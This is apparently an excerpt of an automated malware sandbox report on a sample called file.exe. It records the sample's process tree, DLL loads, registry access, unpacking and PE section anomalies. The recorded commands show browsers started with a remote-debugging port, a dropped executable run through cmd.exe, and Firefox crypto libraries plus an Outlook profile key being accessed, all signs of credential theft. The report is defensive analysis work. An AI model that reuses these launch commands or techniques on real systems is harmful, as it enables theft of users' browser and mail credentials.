Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2232,i,8971129081946804549,660642192054398169,262144 /prefetch:3
Source: unknown	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6516 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6640 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6984 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6984 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBKEHJJDAA.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEBKEHJJDAA.exe "C:\Users\user\DocumentsEBKEHJJDAA.exe"
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsEBKEHJJDAA.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2216 --field-trial-handle=2180,i,13176118876904001922,10244841631199679070,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2348 --field-trial-handle=2232,i,8971129081946804549,660642192054398169,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2404 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6516 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6640 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6984 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=6984 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6744 --field-trial-handle=2356,i,10212697142865505211,11622067615913473481,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsEBKEHJJDAA.exe "C:\Users\user\DocumentsEBKEHJJDAA.exe"
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1825280 > 1048576

Source: file.exe

Static PE information: Raw size of ldvhpekm is bigger than: 0x100000 < 0x1a3c00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2699642763.000000006CB7F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2699348347.000000006C9BD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.150000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ldvhpekm:EW;pcoxsocv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ldvhpekm:EW;pcoxsocv:EW;.taggant:EW;
Source: C:\Users\user\DocumentsEBKEHJJDAA.exe	Unpacked PE file: 24.2.DocumentsEBKEHJJDAA.exe.680000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 25.2.skotes.exe.d40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 26.2.skotes.exe.d40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 28.2.skotes.exe.d40000.0.unpack :EW;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;mtubkuce:EW;fjbqbvbv:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C943480 ?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ,GetCurrentProcess,GetProcessTimes,LoadLibraryW,GetProcAddress,__Init_thread_footer,__aulldiv,FreeLibrary,GetSystemTimeAsFileTime,

0_2_6C943480

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: real checksum: 0x1d7579 should be: 0x1df2fc
Source: 4965008c28.exe.28.dr	Static PE information: real checksum: 0x43ac19 should be: 0x11a74
Source: file.exe	Static PE information: real checksum: 0x1caac0 should be: 0x1c7986
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x43ac19 should be: 0x11a74
Source: skotes.exe.24.dr	Static PE information: real checksum: 0x1d7579 should be: 0x1df2fc

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: ldvhpekm
Source: file.exe	Static PE information: section name: pcoxsocv
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name:
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name: .idata
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name:
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name: mtubkuce
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name: fjbqbvbv
Source: DocumentsEBKEHJJDAA.exe.0.dr	Static PE information: section name: .taggant
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .rsrc
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: pablyzls
Source: random[1].exe.0.dr	Static PE information: section name: ldihguet
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
